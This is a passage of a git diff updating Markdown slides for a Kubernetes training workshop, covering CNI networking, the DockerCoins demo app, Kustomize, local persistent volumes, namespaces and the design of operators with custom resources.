+class: extra-details + ## The Container Network Interface (CNI) -- The CNI has a well-defined [specification](https://github.com/containernetworking/cni/blob/master/SPEC.md#network-configuration) for network plugins +- Most Kubernetes clusters use CNI "plugins" to implement networking -- When a pod is created, Kubernetes delegates the network setup to CNI plugins +- When a pod is created, Kubernetes delegates the network setup to these plugins -- Typically, a CNI plugin will: + (it can be a single plugin, or a combination of plugins, each doing one task) + +- Typically, CNI plugins will: - allocate an IP address (by calling an IPAM plugin) @@ -96,8 +102,46 @@ - configure the interface as well as required routes etc. -- Using multiple plugins can be done with "meta-plugins" like CNI-Genie or Multus +--- -- Not all CNI plugins are equal +class: extra-details - (e.g. they don't all implement network policies, which are required to isolate pods) +## Multiple moving parts + +- The "pod-to-pod network" or "pod network": + + - provides communication between pods and nodes + + - is generally implemented with CNI plugins + +- The "pod-to-service network": + + - provides internal communication and load balancing + + - is generally implemented with kube-proxy (or e.g. kube-router) + +- Network policies: + + - provide firewalling and isolation + + - can be bundled with the "pod network" or provided by another component + +--- + +class: extra-details + +## Even more moving parts + +- Inbound traffic can be handled by multiple components: + + - something like kube-proxy or kube-router (for NodePort services) + + - load balancers (ideally, connected to the pod network) + +- It is possible to use multiple pod networks in parallel + + (with "meta-plugins" like CNI-Genie or Multus) + +- Some solutions can fill multiple roles + + (e.g. kube-router can be set up to provide the pod network and/or network policies and/or replace kube-proxy) diff --git a/slides/k8s/kubercoins.md b/slides/k8s/kubercoins.md new file mode 100644 index 00000000..3220f5fa --- /dev/null +++ b/slides/k8s/kubercoins.md @@ -0,0 +1,244 @@ +# Deploying a sample application + +- We will connect to our new Kubernetes cluster + +- We will deploy a sample application, "DockerCoins" + +- That app features multiple micro-services and a web UI + +--- + +## Connecting to our Kubernetes cluster + +- Our cluster has multiple nodes named `node1`, `node2`, etc. + +- We will do everything from `node1` + +- We have SSH access to the other nodes, but won't need it + + (but we can use it for debugging, troubleshooting, etc.) + +.exercise[ + +- Log into `node1` + +- Check that all nodes are `Ready`: + ```bash + kubectl get nodes + ``` + +] + +--- + +## Cloning some repos + +- We will need two repositories: + + - the first one has the "DockerCoins" demo app + + - the second one has these slides, some scripts, more manifests ... + +.exercise[ + +- Clone the kubercoins repository on `node1`: + ```bash + git clone https://github.com/jpetazzo/kubercoins + ``` + + +- Clone the container.training repository as well: + ```bash + git clone https://@@GITREPO@@ + ``` + +] + +--- + +## Running the application + +Without further ado, let's start this application! + +.exercise[ + +- Apply all the manifests from the kubercoins repository: + ```bash + kubectl apply -f kubercoins/ + ``` + +] + +--- + +## What's this application? + +-- + +- It is a DockerCoin miner! .emoji[💰🐳📦🚢] + +-- + +- No, you can't buy coffee with DockerCoins + +-- + +- How DockerCoins works: + + - generate a few random bytes + + - hash these bytes + + - increment a counter (to keep track of speed) + + - repeat forever! + +-- + +- DockerCoins is *not* a cryptocurrency + + (the only common points are "randomness", "hashing", and "coins" in the name) + +--- + +## DockerCoins in the microservices era + +- DockerCoins is made of 5 services: + + - `rng` = web service generating random bytes + + - `hasher` = web service computing hash of POSTed data + + - `worker` = background process calling `rng` and `hasher` + + - `webui` = web interface to watch progress + + - `redis` = data store (holds a counter updated by `worker`) + +- These 5 services are visible in the application's Compose file, + [docker-compose.yml]( + https://@@GITREPO@@/blob/master/dockercoins/docker-compose.yml) + +--- + +## How DockerCoins works + +- `worker` invokes web service `rng` to generate random bytes + +- `worker` invokes web service `hasher` to hash these bytes + +- `worker` does this in an infinite loop + +- every second, `worker` updates `redis` to indicate how many loops were done + +- `webui` queries `redis`, and computes and exposes "hashing speed" in our browser + +*(See diagram on next slide!)* + +--- + +class: pic + +![Diagram showing the 5 containers of the applications](images/dockercoins-diagram.svg) + +--- + +## Service discovery in container-land + +How does each service find out the address of the other ones? + +-- + +- We do not hard-code IP addresses in the code + +- We do not hard-code FQDNs in the code, either + +- We just connect to a service name, and container-magic does the rest + + (And by container-magic, we mean "a crafty, dynamic, embedded DNS server") + +--- + +## Example in `worker/worker.py` + +```python +redis = Redis("`redis`") + + +def get_random_bytes(): + r = requests.get("http://`rng`/32") + return r.content + + +def hash_bytes(data): + r = requests.post("http://`hasher`/", + data=data, + headers={"Content-Type": "application/octet-stream"}) +``` + +(Full source code available [here]( +https://@@GITREPO@@/blob/8279a3bce9398f7c1a53bdd95187c53eda4e6435/dockercoins/worker/worker.py#L17 +)) + +--- + +## Show me the code! + +- You can check the GitHub repository with all the materials of this workshop: +
https://@@GITREPO@@ + +- The application is in the [dockercoins]( + https://@@GITREPO@@/tree/master/dockercoins) + subdirectory + +- The Compose file ([docker-compose.yml]( + https://@@GITREPO@@/blob/master/dockercoins/docker-compose.yml)) + lists all 5 services + +- `redis` is using an official image from the Docker Hub + +- `hasher`, `rng`, `worker`, `webui` are each built from a Dockerfile + +- Each service's Dockerfile and source code is in its own directory + + (`hasher` is in the [hasher](https://@@GITREPO@@/blob/master/dockercoins/hasher/) directory, + `rng` is in the [rng](https://@@GITREPO@@/blob/master/dockercoins/rng/) + directory, etc.) + +--- + +## Our application at work + +- We can check the logs of our application's pods + +.exercise[ + +- Check the logs of the various components: + ```bash + kubectl logs deploy/worker + kubectl logs deploy/hasher + ``` + +] + +--- + +## Connecting to the web UI + +- "Logs are exciting and fun!" (No-one, ever) + +- The `webui` container exposes a web dashboard; let's view it + +.exercise[ + +- Check the NodePort allocated to the web UI: + ```bash + kubectl get svc webui + ``` + +- Open that in a web browser + +] + +A drawing area should show up, and after a few seconds, a blue +graph will appear. diff --git a/slides/k8s/kustomize.md b/slides/k8s/kustomize.md index b45f0491..664f82f3 100644 --- a/slides/k8s/kustomize.md +++ b/slides/k8s/kustomize.md @@ -14,15 +14,15 @@ ## Differences with Helm -- Helm Charts use placeholders `{{ like.this }}` +- Helm charts use placeholders `{{ like.this }}` - Kustomize "bases" are standard Kubernetes YAML - It is possible to use an existing set of YAML as a Kustomize base -- As a result, writing a Helm Chart is more work ... +- As a result, writing a Helm chart is more work ... -- ... But Helm Charts are also more powerful; e.g. they can: +- ... But Helm charts are also more powerful; e.g. they can: - use flags to conditionally include resources or blocks @@ -70,7 +70,7 @@ - We need to run `ship init` in a new directory -- `ship init` requires an URL to a remote repository containing Kubernetes YAML +- `ship init` requires a URL to a remote repository containing Kubernetes YAML - It will clone that repository and start a web UI @@ -88,11 +88,11 @@ - Change to a new directory: ```bash - mkdir ~/kubercoins - cd ~/kubercoins + mkdir ~/kustomcoins + cd ~/kustomcoins ``` -- Run `ship init` with the kubercoins repository: +- Run `ship init` with the kustomcoins repository: ```bash ship init https://github.com/jpetazzo/kubercoins ``` @@ -146,3 +146,49 @@ - We will create a new copy of DockerCoins in another namespace +--- + +## Deploy DockerCoins with Kustomize + +.exercise[ + +- Create a new namespace: + ```bash + kubectl create namespace kustomcoins + ``` + +- Deploy DockerCoins: + ```bash + kubectl apply -f rendered.yaml --namespace=kustomcoins + ``` + +- Or, with Kubernetes 1.14, you can also do this: + ```bash + kubectl apply -k overlays/ship --namespace=kustomcoins + ``` + +] + +--- + +## Checking our new copy of DockerCoins + +- We can check the worker logs, or the web UI + +.exercise[ + +- Retrieve the NodePort number of the web UI: + ```bash + kubectl get service webui --namespace=kustomcoins + ``` + +- Open it in a web browser + +- Look at the worker logs: + ```bash + kubectl logs deploy/worker --tail=10 --follow --namespace=kustomcoins + ``` + +] + +Note: it might take a minute or two for the worker to start. diff --git a/slides/k8s/lastwords-admin.md b/slides/k8s/lastwords-admin.md index 5bd12285..df9bab7a 100644 --- a/slides/k8s/lastwords-admin.md +++ b/slides/k8s/lastwords-admin.md @@ -48,7 +48,7 @@ - Acknowledge that a lot of tasks are outsourced - (e.g. if we add "buy / rack / provision machines" in that list) + (e.g. if we add "buy/rack/provision machines" in that list) --- @@ -120,9 +120,9 @@ - Team "build" ships ready-to-run manifests - (YAML, Helm Charts, Kustomize ...) + (YAML, Helm charts, Kustomize ...) -- Team "run" adjusts some parameters and monitors the application +- Team "run" adjusts some parameters and monitors the application ✔️ parity between dev and prod environments @@ -150,7 +150,7 @@ - do we reward on-call duty without encouraging hero syndrome? - - do we give resources (time, money) to people to learn? + - do we give people resources (time, money) to learn? --- @@ -183,9 +183,9 @@ are a few tools that can help us.* - If cloud: public vs. private -- Which vendor / distribution to pick? +- Which vendor/distribution to pick? -- Which versions / features to enable? +- Which versions/features to enable? --- @@ -205,6 +205,6 @@ are a few tools that can help us.* - Transfer knowledge - (make sure everyone is on the same page / same level) + (make sure everyone is on the same page/level) - Iterate! diff --git a/slides/k8s/local-persistent-volumes.md b/slides/k8s/local-persistent-volumes.md new file mode 100644 index 00000000..b2f86387 --- /dev/null +++ b/slides/k8s/local-persistent-volumes.md @@ -0,0 +1,268 @@ +# Local Persistent Volumes + +- We want to run that Consul cluster *and* actually persist data + +- But we don't have a distributed storage system + +- We are going to use local volumes instead + + (similar conceptually to `hostPath` volumes) + +- We can use local volumes without installing extra plugins + +- However, they are tied to a node + +- If that node goes down, the volume becomes unavailable + +--- + +## With or without dynamic provisioning + +- We will deploy a Consul cluster *with* persistence + +- That cluster's StatefulSet will create PVCs + +- These PVCs will remain unbound¹, until we will create local volumes manually + + (we will basically do the job of the dynamic provisioner) + +- Then, we will see how to automate that with a dynamic provisioner + +.footnote[¹Unbound = without an associated Persistent Volume.] + +--- + +## If we have a dynamic provisioner ... + +- The labs in this section assume that we *do not* have a dynamic provisioner + +- If we do have one, we need to disable it + +.exercise[ + +- Check if we have a dynamic provisioner: + ```bash + kubectl get storageclass + ``` + +- If the output contains a line with `(default)`, run this command: + ```bash + kubectl annotate sc storageclass.kubernetes.io/is-default-class- --all + ``` + +- Check again that it is no longer marked as `(default)` + +] + +--- + +## Work in a separate namespace + +- To avoid conflicts with existing resources, let's create and use a new namespace + +.exercise[ + +- Create a new namespace: + ```bash + kubectl create namespace orange + ``` + +- Switch to that namespace: + ```bash + kns orange + ``` + +] + +.warning[Make sure to call that namespace `orange`: it is hardcoded in the YAML files.] + +--- + +## Deploying Consul + +- We will use a slightly different YAML file + +- The only differences between that file and the previous one are: + + - `volumeClaimTemplate` defined in the Stateful Set spec + + - the corresponding `volumeMounts` in the Pod spec + + - the namespace `orange` used for discovery of Pods + +.exercise[ + +- Apply the persistent Consul YAML file: + ```bash + kubectl apply -f ~/container.training/k8s/persistent-consul.yaml + ``` + +] + +--- + +## Observing the situation + +- Let's look at Persistent Volume Claims and Pods + +.exercise[ + +- Check that we now have an unbound Persistent Volume Claim: + ```bash + kubectl get pvc + ``` + +- We don't have any Persistent Volume: + ```bash + kubectl get pv + ``` + +- The Pod `consul-0` is not scheduled yet: + ```bash + kubectl get pods -o wide + ``` + +] + +*Hint: leave these commands running with `-w` in different windows.* + +--- + +## Explanations + +- In a Stateful Set, the Pods are started one by one + +- `consul-1` won't be created until `consul-0` is running + +- `consul-0` has a dependency on an unbound Persistent Volume Claim + +- The scheduler won't schedule the Pod until the PVC is bound + + (because the PVC might be bound to a volume that is only available on a subset of nodes; for instance EBS are tied to an availability zone) + +--- + +## Creating Persistent Volumes + +- Let's create 3 local directories (`/mnt/consul`) on node2, node3, node4 + +- Then create 3 Persistent Volumes corresponding to these directories + +.exercise[ + +- Create the local directories: + ```bash + for NODE in node2 node3 node4; do + ssh $NODE sudo mkdir -p /mnt/consul + done + ``` + +- Create the PV objects: + ```bash + kubectl apply -f ~/container.training/k8s/volumes-for-consul.yaml + ``` + +] + +--- + +## Check our Consul cluster + +- The PVs that we created will be automatically matched with the PVCs + +- Once a PVC is bound, its pod can start normally + +- Once the pod `consul-0` has started, `consul-1` can be created, etc. + +- Eventually, our Consul cluster is up, and backend by "persistent" volumes + +.exercise[ + +- Check that our Consul clusters has 3 members indeed: + ```bash + kubectl exec consul-0 consul members + ``` + +] + +--- + +## Devil is in the details (1/2) + +- The size of the Persistent Volumes is bogus + + (it is used when matching PVs and PVCs together, but there is no actual quota or limit) + +--- + +## Devil is in the details (2/2) + +- This specific example worked because we had exactly 1 free PV per node: + + - if we had created multiple PVs per node ... + + - we could have ended with two PVCs bound to PVs on the same node ... + + - which would have required two pods to be on the same node ... + + - which is forbidden by the anti-affinity constraints in the StatefulSet + +- To avoid that, we need to associated the PVs with a Storage Class that has: + ```yaml + volumeBindingMode: WaitForFirstConsumer + ``` + (this means that a PVC will be bound to a PV only after being used by a Pod) + +- See [this blog post](https://kubernetes.io/blog/2018/04/13/local-persistent-volumes-beta/) for more details + +--- + +## Bulk provisioning + +- It's not practical to manually create directories and PVs for each app + +- We *could* pre-provision a number of PVs across our fleet + +- We could even automate that with a Daemon Set: + + - creating a number of directories on each node + + - creating the corresponding PV objects + +- We also need to recycle volumes + +- ... This can quickly get out of hand + +--- + +## Dynamic provisioning + +- We could also write our own provisioner, which would: + + - watch the PVCs across all namespaces + + - when a PVC is created, create a corresponding PV on a node + +- Or we could use one of the dynamic provisioners for local persistent volumes + + (for instance the [Rancher local path provisioner](https://github.com/rancher/local-path-provisioner)) + +--- + +## Strategies for local persistent volumes + +- Remember, when a node goes down, the volumes on that node become unavailable + +- High availability will require another layer of replication + + (like what we've just seen with Consul; or primary/secondary; etc) + +- Pre-provisioning PVs makes sense for machines with local storage + + (e.g. cloud instance storage; or storage directly attached to a physical machine) + +- Dynamic provisioning makes sense for large number of applications + + (when we can't or won't dedicate a whole disk to a volume) + +- It's possible to mix both (using distinct Storage Classes) diff --git a/slides/k8s/localkubeconfig.md b/slides/k8s/localkubeconfig.md index eaaf9e4e..ff3c84b0 100644 --- a/slides/k8s/localkubeconfig.md +++ b/slides/k8s/localkubeconfig.md @@ -6,6 +6,24 @@ --- +## Requirements + +.warning[The exercises in this chapter should be done *on your local machine*.] + +- `kubectl` is officially available on Linux, macOS, Windows + + (and unofficially anywhere we can build and run Go binaries) + +- You may skip these exercises if you are following along from: + + - a tablet or phone + + - a web-based terminal + + - an environment where you can't install and run new binaries + +--- + ## Installing `kubectl` - If you already have `kubectl` on your local machine, you can skip this @@ -16,11 +34,11 @@ - Download the `kubectl` binary from one of these links: - [Linux](https://storage.googleapis.com/kubernetes-release/release/v1.14.1/bin/linux/amd64/kubectl) + [Linux](https://storage.googleapis.com/kubernetes-release/release/v1.14.2/bin/linux/amd64/kubectl) | - [macOS](https://storage.googleapis.com/kubernetes-release/release/v1.14.1/bin/darwin/amd64/kubectl) + [macOS](https://storage.googleapis.com/kubernetes-release/release/v1.14.2/bin/darwin/amd64/kubectl) | - [Windows](https://storage.googleapis.com/kubernetes-release/release/v1.14.1/bin/windows/amd64/kubectl.exe) + [Windows](https://storage.googleapis.com/kubernetes-release/release/v1.14.2/bin/windows/amd64/kubectl.exe) - On Linux and macOS, make the binary executable with `chmod +x kubectl` @@ -57,17 +75,24 @@ Platform:"linux/amd64"} --- -## Moving away the existing `~/.kube/config` +## Preserving the existing `~/.kube/config` -- If you already have a `~/.kube/config` file, move it away +- If you already have a `~/.kube/config` file, rename it (we are going to overwrite it in the following slides!) - If you never used `kubectl` on your machine before: nothing to do! -- If you already used `kubectl` to control a Kubernetes cluster before: +.exercise[ - - rename `~/.kube/config` to e.g. `~/.kube/config.bak` +- Make a copy of `~/.kube/config`; if you are using macOS or Linux, you can do: + ```bash + cp ~/.kube/config ~/.kube/config.before.training + ``` + +- If you are using Windows, you will need to adapt this command + +] --- @@ -167,4 +192,4 @@ class: extra-details ] -We can now utilize the cluster exactly as we did before, ignoring that it's remote. +We can now utilize the cluster exactly as we did before, except that it's remote. diff --git a/slides/k8s/logs-centralized.md b/slides/k8s/logs-centralized.md index 6cdddda8..07af0ce3 100644 --- a/slides/k8s/logs-centralized.md +++ b/slides/k8s/logs-centralized.md @@ -73,12 +73,12 @@ and a few roles and role bindings (to give fluentd the required permissions). - Fluentd runs on each node (thanks to a daemon set) -- It binds-mounts `/var/log/containers` from the host (to access these files) +- It bind-mounts `/var/log/containers` from the host (to access these files) - It continuously scans this directory for new files; reads them; parses them - Each log line becomes a JSON object, fully annotated with extra information: -
container id, pod name, Kubernetes labels ... +
container id, pod name, Kubernetes labels... - These JSON objects are stored in ElasticSearch diff --git a/slides/k8s/logs-cli.md b/slides/k8s/logs-cli.md index aa7ffdc2..fe12f466 100644 --- a/slides/k8s/logs-cli.md +++ b/slides/k8s/logs-cli.md @@ -1,6 +1,6 @@ # Accessing logs from the CLI -- The `kubectl logs` commands has limitations: +- The `kubectl logs` command has limitations: - it cannot stream logs from multiple pods at a time @@ -12,7 +12,7 @@ ## Doing it manually -- We *could* (if we were so inclined), write a program or script that would: +- We *could* (if we were so inclined) write a program or script that would: - take a selector as an argument @@ -72,11 +72,11 @@ Exactly what we need! ## Using Stern -- There are two ways to specify the pods for which we want to see the logs: +- There are two ways to specify the pods whose logs we want to see: - `-l` followed by a selector expression (like with many `kubectl` commands) - - with a "pod query", i.e. a regex used to match pod names + - with a "pod query," i.e. a regex used to match pod names - These two ways can be combined if necessary diff --git a/slides/k8s/multinode.md b/slides/k8s/multinode.md index 09c9801a..af6b6194 100644 --- a/slides/k8s/multinode.md +++ b/slides/k8s/multinode.md @@ -96,7 +96,7 @@ class: extra-details - We need to generate a `kubeconfig` file for kubelet -- This time, we need to put the IP address of `kubenet1` +- This time, we need to put the public IP address of `kubenet1` (instead of `localhost` or `127.0.0.1`) @@ -104,12 +104,10 @@ class: extra-details - Generate the `kubeconfig` file: ```bash - kubectl --kubeconfig ~/kubeconfig config \ - set-cluster kubenet --server http://`X.X.X.X`:8080 - kubectl --kubeconfig ~/kubeconfig config \ - set-context kubenet --cluster kubenet - kubectl --kubeconfig ~/kubeconfig config\ - use-context kubenet + kubectl config set-cluster kubenet --server http://`X.X.X.X`:8080 + kubectl config set-context kubenet --cluster kubenet + kubectl config use-context kubenet + cp ~/.kube/config ~/kubeconfig ``` ] @@ -197,7 +195,7 @@ class: extra-details ## Check our pods -- The pods will be scheduled to the nodes +- The pods will be scheduled on the nodes - The nodes will pull the `nginx` image, and start the pods @@ -327,7 +325,7 @@ class: extra-details - We will add the `--network-plugin` and `--pod-cidr` flags -- We all have a "cluster number" (let's call that `C`) +- We all have a "cluster number" (let's call that `C`) printed on your VM info card - We will use pod CIDR `10.C.N.0/24` (where `N` is the node number: 1, 2, 3) @@ -482,6 +480,23 @@ Sometimes it works, sometimes it doesn't. Why? ```bash kubectl get nodes -o wide ``` + +--- + +## Firewalling + +- By default, Docker prevents containers from using arbitrary IP addresses + + (by setting up iptables rules) + +- We need to allow our containers to use our pod CIDR + +- For simplicity, we will insert a blanket iptables rule allowing all traffic: + + `iptables -I FORWARD -j ACCEPT` + +- This has to be done on every node + --- ## Setting up routing @@ -490,6 +505,8 @@ Sometimes it works, sometimes it doesn't. Why? - Create all the routes on all the nodes +- Insert the iptables rule allowing traffic + - Check that you can ping all the pods from one of the nodes - Check that you can `curl` the ClusterIP of the Service successfully diff --git a/slides/k8s/namespaces.md b/slides/k8s/namespaces.md index 3dbd13c9..51bbf774 100644 --- a/slides/k8s/namespaces.md +++ b/slides/k8s/namespaces.md @@ -1,26 +1,65 @@ # Namespaces +- We would like to deploy another copy of DockerCoins on our cluster + +- We could rename all our deployments and services: + + hasher → hasher2, redis → redis2, rng → rng2, etc. + +- That would require updating the code + +- There has to be a better way! + +-- + +- As hinted by the title of this section, we will use *namespaces* + +--- + +## Identifying a resource + - We cannot have two resources with the same name - (Or can we...?) + (or can we...?) -- -- We cannot have two resources *of the same type* with the same name +- We cannot have two resources *of the same kind* with the same name - (But it's OK to have a `rng` service, a `rng` deployment, and a `rng` daemon set!) + (but it's OK to have an `rng` service, an `rng` deployment, and an `rng` daemon set) -- -- We cannot have two resources of the same type with the same name *in the same namespace* +- We cannot have two resources of the same kind with the same name *in the same namespace* - (But it's OK to have e.g. two `rng` services in different namespaces!) + (but it's OK to have e.g. two `rng` services in different namespaces) -- -- In other words: **the tuple *(type, name, namespace)* needs to be unique** +- Except for resources that exist at the *cluster scope* - (In the resource YAML, the type is called `Kind`) + (these do not belong to a namespace) + +--- + +## Uniquely identifying a resource + +- For *namespaced* resources: + + the tuple *(kind, name, namespace)* needs to be unique + +- For resources at the *cluster scope*: + + the tuple *(kind, name)* needs to be unique + +.exercise[ + +- List resource types again, and check the NAMESPACED column: + ```bash + kubectl api-resources + ``` + +] --- @@ -42,12 +81,16 @@ ## Creating namespaces -- Creating a namespace is done with the `kubectl create namespace` command: +- Let's see two identical methods to create a namespace + +.exercise[ + +- We can use `kubectl create namespace`: ```bash kubectl create namespace blue ``` -- We can also get fancy and use a very minimal YAML snippet, e.g.: +- Or we can construct a very minimal YAML snippet: ```bash kubectl apply -f- < + cache invalidation; upgrading to newer major versions of Redis, PostGIS, PostgreSQL) + +--- + +## Low-level design + +- What Custom Resource Definitions do we need? + + (one, many?) + +- How will we store configuration information? + + (part of the CRD spec fields, annotations, other?) + +- Do we need to store state? If so, where? + + - state that is small and doesn't change much can be stored via the Kubernetes API +
+ (e.g.: leader information, configuration, credentials) + + - things that are big and/or change a lot should go elsewhere +
+ (e.g.: metrics, bigger configuration file like GeoIP) + +--- + +class: extra-details + +## What can we store via the Kubernetes API? + +- The API server stores most Kubernetes resources in etcd + +- Etcd is designed for reliability, not for performance + +- If our storage needs exceed what etcd can offer, we need to use something else: + + - either directly + + - or by extending the API server +
(for instance by using the agregation layer, like [metrics server](https://github.com/kubernetes-incubator/metrics-server) does) + +--- + +## Bottom-up approach + +- Start with existing Kubernetes resources (Deployment, Stateful Set...) + +- Run the system in production + +- Add scripts, automation, to facilitate day-to-day operations + +- Turn the scripts into an operator + +- Pros: simpler to get started; reflects actual use-cases + +- Cons: can result in convoluted designs requiring extensive refactor + +--- + +## General idea + +- Our operator will watch its CRDs *and associated resources* + +- Drawing state diagrams and finite state automata helps a lot + +- It's OK if some transitions lead to a big catch-all "human intervention" + +- Over time, we will learn about new failure modes and add to these diagrams + +- It's OK to start with CRD creation / deletion and prevent any modification + + (that's the easy POC/MVP we were talking about) + +- *Presentation* and *validation* will help our users + + (more on that later) + +--- + +## Challenges + +- Reacting to infrastructure disruption can seem hard at first + +- Kubernetes gives us a lot of primitives to help: + + - Pods and Persistent Volumes will *eventually* recover + + - Stateful Sets give us easy ways to "add N copies" of a thing + +- The real challenges come with configuration changes + + (i.e., what to do when our users update our CRDs) + +- Keep in mind that [some] of the [largest] cloud [outages] haven't been caused by [natural catastrophes], or even code bugs, but by configuration changes + +[some]: https://www.datacenterdynamics.com/news/gcp-outage-mainone-leaked-google-cloudflare-ip-addresses-china-telecom/ +[largest]: https://aws.amazon.com/message/41926/ +[outages]: https://aws.amazon.com/message/65648/ +[natural catastrophes]: https://www.datacenterknowledge.com/amazon/aws-says-it-s-never-seen-whole-data-center-go-down + +--- + +## Configuration changes + +- It is helpful to analyze and understand how Kubernetes controllers work: + + - watch resource for modifications + + - compare desired state (CRD) and current state + + - issue actions to converge state + +- Configuration changes will probably require *another* state diagram or FSA + +- Again, it's OK to have transitions labeled as "unsupported" + + (i.e. reject some modifications because we can't execute them) + +--- + +## Tools + +- CoreOS / RedHat Operator Framework + + [GitHub](https://github.com/operator-framework) + | + [Blog](https://developers.redhat.com/blog/2018/12/18/introduction-to-the-kubernetes-operator-framework/) + | + [Intro talk](https://www.youtube.com/watch?v=8k_ayO1VRXE) + | + [Deep dive talk](https://www.youtube.com/watch?v=fu7ecA2rXmc) + +- Zalando Kubernetes Operator Pythonic Framework (KOPF) + + [GitHub](https://github.com/zalando-incubator/kopf) + | + [Docs](https://kopf.readthedocs.io/) + | + [Step-by-step tutorial](https://kopf.readthedocs.io/en/stable/walkthrough/problem/) + +- Mesosphere Kubernetes Universal Declarative Operator (KUDO) + + [GitHub](https://github.com/kudobuilder/kudo) + | + [Blog](https://mesosphere.com/blog/announcing-maestro-a-declarative-no-code-approach-to-kubernetes-day-2-operators/) + | + [Docs](https://kudo.dev/) + | + [Zookeeper example](https://github.com/kudobuilder/frameworks/tree/master/repo/stable/zookeeper) + +--- + +## Validation + +- By default, a CRD is "free form" + + (we can put pretty much anything we want in it) + +- When creating a CRD, we can provide an OpenAPI v3 schema + ([Example](https://github.com/amaizfinance/redis-operator/blob/master/deploy/crds/k8s_v1alpha1_redis_crd.yaml#L34)) + +- The API server will then validate resources created/edited with this schema + +- If we need a stronger validation, we can use a Validating Admission Webhook: + + - run an [admission webhook server](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#write-an-admission-webhook-server) to receive validation requests + + - register the webhook by creating a [ValidatingWebhookConfiguration](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#configure-admission-webhooks-on-the-fly) + + - each time the API server receives a request matching the configuration, +
the request is sent to our server for validation + +--- + +## Presentation + +- By default, `kubectl get mycustomresource` won't display much information + + (just the name and age of each resource) + +- When creating a CRD, we can specify additional columns to print + ([Example](https://github.com/amaizfinance/redis-operator/blob/master/deploy/crds/k8s_v1alpha1_redis_crd.yaml#L6), + [Docs](https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definitions/#additional-printer-columns)) + +- By default, `kubectl describe mycustomresource` will also be generic + +- `kubectl describe` can show events related to our custom resources + + (for that, we need to create Event resources, and fill the `involvedObject` field) + +- For scalable resources, we can define a `scale` sub-resource + +- This will enable the use of `kubectl scale` and other scaling-related operations + +--- + +## About scaling + +- It is possible to use the HPA (Horizontal Pod Autoscaler) with CRDs + +- But it is not always desirable + +- The HPA works very well for homogenous, stateless workloads + +- For other workloads, your mileage may vary + +- Some systems can scale across multiple dimensions + + (for instance: increase number of replicas, or number of shards?) + +- If autoscaling is desired, the operator will have to take complex decisions + + (example: Zalando's Elasticsearch Operator ([Video](https://www.youtube.com/watch?v=lprE0J0kAq0))) + +--- + +## Versioning + +- As our operator evolves over time, we may have to change the CRD + + (add, remove, change fields) + +- Like every other resource in Kubernetes, [custom resources are versioned](https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definition-versioning/ +) + +- When creating a CRD, we need to specify a *list* of versions + +- Versions can be marked as `stored` and/or `served` + +--- + +## Stored version + +- Exactly one version has to be marked as the `stored` version + +- As the name implies, it is the one that will be stored in etcd + +- Resources in storage are never converted automatically + + (we need to read and re-write them ourselves) + +- Yes, this means that we can have different versions in etcd at any time + +- Our code needs to handle all the versions that still exist in storage + +--- + +## Served versions + +- By default, the Kubernetes API will serve resources "as-is" + + (using their stored version) + +- It will assume that all versions are compatible storage-wise + + (i.e. that the spec and fields are compatible between versions) + +- We can provide [conversion webhooks](https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definition-versioning/#webhook-conversion) to "translate" requests + + (the alternative is to upgrade all stored resources and stop serving old versions) + +--- + +## Operator reliability + +- Remember that the operator itself must be resilient + + (e.g.: the node running it can fail) + +- Our operator must be able to restart and recover gracefully + +- Do not store state locally + + (unless we can reconstruct that state when we restart) + +- As indicated earlier, we can use the Kubernetes API to store data: + + - in the custom resources themselves + + - in other resources' annotations + +--- + +## Beyond CRDs + +- CRDs cannot use custom storage (e.g. for time series data) + +- CRDs cannot support arbitrary subresources (like logs or exec for Pods) + +- CRDs cannot support protobuf (for faster, more efficient communication) + +- If we need these things, we can use the [aggregation layer](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/apiserver-aggregation/) instead + +- The aggregation layer proxies all requests below a specific path to another server + + (this is used e.g. by the metrics server) + +- [This documentation page](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/#choosing-a-method-for-adding-custom-resources) compares the features of CRDs and API aggregation diff --git a/slides/k8s/operators.md b/slides/k8s/operators.md new file mode 100644 index 00000000..fdf6bbf6 --- /dev/null +++ b/slides/k8s/operators.md @@ -0,0 +1,389 @@ +# Operators + +- Operators are one of the many ways to extend Kubernetes + +- We will define operators + +- We will see how they work + +- We will install a specific operator (for ElasticSearch) + +- We will use it to provision an ElasticSearch cluster + +--- + +## What are operators? + +*An operator represents **human operational knowledge in software,** +
+to reliably manage an application. +— [CoreOS](https://coreos.com/blog/introducing-operators.html)* + +Examples: + +- Deploying and configuring replication with MySQL, PostgreSQL ... + +- Setting up Elasticsearch, Kafka, RabbitMQ, Zookeeper ... + +- Reacting to failures when intervention is needed + +- Scaling up and down these systems + +--- + +## What are they made from? + +- Operators combine two things: + + - Custom Resource Definitions + + - controller code watching the corresponding resources and acting upon them + +- A given operator can define one or multiple CRDs + +- The controller code (control loop) typically runs within the cluster + + (running as a Deployment with 1 replica is a common scenario) + +- But it could also run elsewhere + + (nothing mandates that the code run on the cluster, as long as it has API access) + +--- + +## Why use operators? + +- Kubernetes gives us Deployments, StatefulSets, Services ... + +- These mechanisms give us building blocks to deploy applications + +- They work great for services that are made of *N* identical containers + + (like stateless ones) + +- They also work great for some stateful applications like Consul, etcd ... + + (with the help of highly persistent volumes) + +- They're not enough for complex services: + + - where different containers have different roles + + - where extra steps have to be taken when scaling or replacing containers + +--- + +## Use-cases for operators + +- Systems with primary/secondary replication + + Examples: MariaDB, MySQL, PostgreSQL, Redis ... + +- Systems where different groups of nodes have different roles + + Examples: ElasticSearch, MongoDB ... + +- Systems with complex dependencies (that are themselves managed with operators) + + Examples: Flink or Kafka, which both depend on Zookeeper + +--- + +## More use-cases + +- Representing and managing external resources + + (Example: [AWS Service Operator](https://operatorhub.io/operator/alpha/aws-service-operator.v0.0.1)) + +- Managing complex cluster add-ons + + (Example: [Istio operator](https://operatorhub.io/operator/beta/istio-operator.0.1.6)) + +- Deploying and managing our applications' lifecycles + + (more on that later) + +--- + +## How operators work + +- An operator creates one or more CRDs + + (i.e., it creates new "Kinds" of resources on our cluster) + +- The operator also runs a *controller* that will watch its resources + +- Each time we create/update/delete a resource, the controller is notified + + (we could write our own cheap controller with `kubectl get --watch`) + +--- + +## One operator in action + +- We will install the UPMC Enterprises 